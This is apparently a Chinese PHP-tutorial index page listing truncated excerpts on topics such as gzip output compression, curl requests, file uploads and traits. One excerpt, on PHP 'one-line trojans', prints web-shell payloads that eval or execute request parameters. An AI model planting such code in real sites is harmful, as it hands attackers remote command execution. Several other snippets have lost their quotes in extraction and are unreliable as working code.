-
php简单开启gzip压缩方法zlib.output_compression
所属栏目:[PHP教程] 日期:2022-07-10 热度:68
一般而言,页面文件开启gzip压缩以后,其体积可以减小60%~90%,对于文字类站点,可以节省下大量的带宽与用户等待时间。但是不论是iis还是apache默认都只压缩html类静态文件,对于php文件需要模块配置才可支持(iis7.5中开启动态+静态压缩也可以),于是利[详细]
-
PHP 读取Postgresql中的数组
所属栏目:[PHP教程] 日期:2022-07-10 热度:55
代码如下:www.CuoXIn.com function getarray_postgresql($arraystr) { $regx1 = /^{(.*)}$/; $regx2 = //((////////|/////|[^/])+)/|[^,]+/; $regx3 = /^[^].*$|^(.*)$/; $match = null; preg_match( $regx1,$arraystr,$match); $str = $match[1]; preg_ma[详细]
-
关于PHP递归算法和应用方法介绍
所属栏目:[PHP教程] 日期:2022-07-10 热度:118
PHP作为开发动态页面WEB的首选技术,对于它的基础知识我们一定要牢记,这让才能有助于编程。我们一起来看看PHP递归算法是怎么回事吧。 1、调用子程序的含义: 当主程序执行到调用子程序A语句时,系统保存一些必要的现场数据,然后执行类似于BASIC语言的GOT[详细]
-
基于initPHP的框架介绍
所属栏目:[PHP教程] 日期:2022-07-10 热度:130
initPHP是一款轻量级的php开发框架,采用分层体系架构,适合大中型网站架构。提供丰富的library类库,以及简单的框架扩展机制。InitPHP还提供详细的开发文档,可以让您在使用该框架的时候更加简单实用。InitPHP实现了抽象DB层、分层体系架构、缓存无缝切换[详细]
-
php实现多张图片上传加水印技巧
所属栏目:[PHP教程] 日期:2022-07-10 热度:152
代码如下:www.CuoXIn.com ?php function imageWaterMark($groundImage,$waterPos=0,$waterImage=,$waterText=,$textFont=5,$textColor=#FF0000) { $isWaterImage = FALSE; $formatMsg = 暂不支持该文件格式,请用图片处理软件将图片转换为GIF、JPG、PNG格[详细]
-
php多文件上传功能实现原理及代码
所属栏目:[PHP教程] 日期:2022-07-10 热度:50
今天对多图片上传功能小小的研究了一下,把下面的代码整理出来,方便以后自己使用以及供大家交流 1、upload.html页面,即先是input type=file的文件: 复制代码 代码如下:www.CuoXIn.com html head title/title /head body form enctype=multipart/form-da[详细]
-
PHP时间戳与日期之间转换的实例介绍
所属栏目:[PHP教程] 日期:2022-07-10 热度:149
PHP时间戳与日期之间转换的实例介绍 1.php中时间转换函数 strtotime(today) date(Y-m-d H:i,$unixtime) 2.php中获得今天零点的时间戳 要获得零点的unix时间戳,可以使用$todaytime=strtotime(today), 然后再使用date(Y-m-d H:i,$todaytime)转换为日期。 3[详细]
-
PHP截断函数mb_substr使用介绍
所属栏目:[PHP教程] 日期:2022-07-10 热度:144
Function: mb_substr( $str, $start, $length, $encoding ) $str,需要截断的字符串 $start,截断开始处 $length,长度(注意,这个跟mb_strimwidth不同,1就代表一个中文字符) $encoding,编码,我设为 utf-8 例:截断文章标题,控制在15个文字 复制代码[详细]
-
PHP迭代器和生成器用法实例详解
所属栏目:[PHP教程] 日期:2022-07-09 热度:169
本文实例讲述了PHP迭代器和生成器用法,分享给大家供大家参考,具体如下: 迭代器 迭代器实际是一个实现了Iterator的类,可以用foreach进行遍历。 例如: ?php class Sample implements Iterator{ private $curIndex=0; private $items=null; public functio[详细]
-
php输出文字乱码的处理方法
所属栏目:[PHP教程] 日期:2022-07-09 热度:135
在本篇文章里我们给大家整理了关于php输出文字乱码的解决方法以及相关知识点,有需要的朋友们学习下。 php输出文字乱码的解决办法: 在php文件最开头写上: ?php header(Content-type: text/html; charset=UTF8); // UTF8不行改成GBK试试,与你保存的格式匹配[详细]
-
PHP实现单条sql执行多个数据的insert语句技巧
所属栏目:[PHP教程] 日期:2022-07-09 热度:111
今天小编就为大家分享一篇PHP实现单条sql执行多个数据的insert语句方法,具有很好的参考价值,希望对大家有所帮助,一起跟随小编过来看看吧。 废话不多说 直接上代码 ?php /** * Created by PhpStorm. * User: Administrator * Date: 2018/4/21 * Time: 10:4[详细]
-
php报错502badgateway处理方法
所属栏目:[PHP教程] 日期:2022-07-09 热度:88
在本篇文章里小编给大家整理了关于php报错502badgateway解决方法相关知识点,有需要的朋友们参考下。 目前lnmp一键安装包比较多的问题就是502 Bad Gateway,大部分情况下原因是在安装php前,脚本中某些lib包可能没有安装上,造成php没有编译安装成功。 解决[详细]
-
php生成HTML文件的类技巧
所属栏目:[PHP教程] 日期:2022-07-09 热度:87
在本篇文章里小编给大家整理的是关于用php生成HTML文件的类的相关知识点,有需要的朋友们学习下。 目的 用PHP生成HTML文档, 支持标签嵌套缩进, 支持标签自定义属性 起因 这个东西确实也是心血来潮写的, 本来打算是输出HTML片段用的, 但后来就干脆写成了一个[详细]
-
PHP与SQL语句写一句话木马改变
所属栏目:[PHP教程] 日期:2022-07-09 热度:172
在本篇文章里小编给大家整理的是关于PHP与SQL语句写一句话木马的相关知识点,有需要的朋友们学习下。 一、基础类的一句话--功能仅限于验证漏洞了,实际中非常容易被查出出来: ?php @eval($_GET[code])? ?php @system($_POST[cmd])? 二、编码的替换的类型:[详细]
-
处理PHP使用CURL发送GET请求时传递参数的问题
所属栏目:[PHP教程] 日期:2022-07-09 热度:90
最近在使用curl发送get请求的时候发现传递参数一直没有生效,也没有返回值,以为是自己哪里写错了,网上找东西时也没有人专门来说get请求传递参数的内容,所以,今天在这里记录一下,希望可以帮到一些人 GET请求的参数 get传递参数和正常请求url传递参数的方[详细]
-
php抽象方法和普通方法的区别点概括
所属栏目:[PHP教程] 日期:2022-07-09 热度:69
在本篇文章里小编给大家分享的是关于php 抽象方法和普通方法的区别的相关文章,有需要的朋友们可以学习下。 抽象方法和普通方法的主要区别是: 方法体是一个方法的代码块即花括号包裹部分。 声明抽象方法的关键字: 关键字abstract用于声明一个抽象方法 php[详细]
-
PHP的HTTP客户端Guzzle简单使用技巧分析
所属栏目:[PHP教程] 日期:2022-07-09 热度:122
这篇文章主要介绍了PHP的HTTP客户端Guzzle简单使用方法,结合实例形式分析了Guzzle的功能、请求、cookie操作等相关实现技巧,需要的朋友可以参考下。 本文实例讲述了PHP的HTTP客户端Guzzle简单使用方法,分享给大家供大家参考,具体如下: 首先来一段官方文档[详细]
-
在 PHP 和 Laravel 中使用 Traits的技巧
所属栏目:[PHP教程] 日期:2022-07-09 热度:147
Trait 是单继承语言(如 PHP )中的一种代码复用机制,这篇文章主要介绍了在 PHP 和 Laravel 中使用 Traits的方法,需要的朋友可以参考下。 PHP 官方网站给出了 Traits 的定义,如下: Trait 是单继承语言(如 PHP )中的一种代码复用机制,Trai 的目的是减少[详细]
-
php传值和传引用的区别点概括
所属栏目:[PHP教程] 日期:2022-07-09 热度:181
php传值:在函数范围内,改变变量值得大小,都不会影响到函数外边的变量值。 PHP传引用:在函数范围内,对值的任何改变,在函数外部也有所体现,因为传引用传的是内存地址。 ?php $testa=1; //定义变量a $testb=2; //定义变量b $testb = $testa; //变量a赋值[详细]
-
设定php简写功能的技巧
所属栏目:[PHP教程] 日期:2022-07-09 热度:62
在本篇文章里小编给大家整理的是关于如何设定php简写功能的相关文章以及知识点,有需要的朋友们可以学习下。 本教学使用环境介绍 伺服器端:Ubuntu 18.04 LTS 本机端:MacOS High Sierra 启用 php 缩写能节省一些写法,虽然没差多少,只是要是脚本多了,看起[详细]
-
介绍no input file specified 三种解决方法
所属栏目:[PHP教程] 日期:2022-07-09 热度:155
这篇文章主要介绍了详解no input file specified 三种解决方法,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧。 一.IIS Noinput file specified 方法一:改PHP.ini中的doc_root[详细]
-
如何处理php中curl传递数据太慢
所属栏目:[PHP教程] 日期:2022-07-09 热度:97
如何解决php中curl传递数据太慢? 如果你用 curl_setopt 函数来与远程的webservice或者抓取页面的处理时,有时会遇到很奇怪的现象,首次访问的速度异常的慢,基本上要5s-10s的时间让人奔溃。 先从解决问题入手: 1、curl_setopt($ch, CURLOPT_HTTP_VERSION,[详细]
-
怎么将curl获取到的json对象转成数组
所属栏目:[PHP教程] 日期:2022-07-09 热度:158
如何将curl获取到的json对象转成数组? 今天为大家分享一篇php curl获取到json对象并转成数组array的方法,具有很好的参考价值,希望对大家有所帮助。 例子: function objtoarr($obj){ $ret = array(); foreach($obj as $key =$value){ } } return $ret; }[详细]
-
如何在php中实现construct构造技巧
所属栏目:[PHP教程] 日期:2022-07-09 热度:181
php面向对象编程之构造方法__construct() php中构造方法是对象创建完成后第一个被对象自动调用的方法。在每个类中都有一个构造方法,如果没有显示地声明它,那么类中都会默认存在一个没有参数且内容为空的构造方法。 构造方法的在类中的声明格式 function __[详细]
-
基于php生成xml的实例说明
所属栏目:[PHP教程] 日期:2022-07-09 热度:54
使用PHP DOMDocument创建动态XML文件 当处理基于XML应用程序时,开发者经常需要建立XML编码数据结构。例如,Web中基于用户输入的XML状态模板,服务器请求XML语句,以及基于运行时间参数的客户响应。 创建文档类型声明 一般而言,XML声明放在文档顶部。在PHP[详细]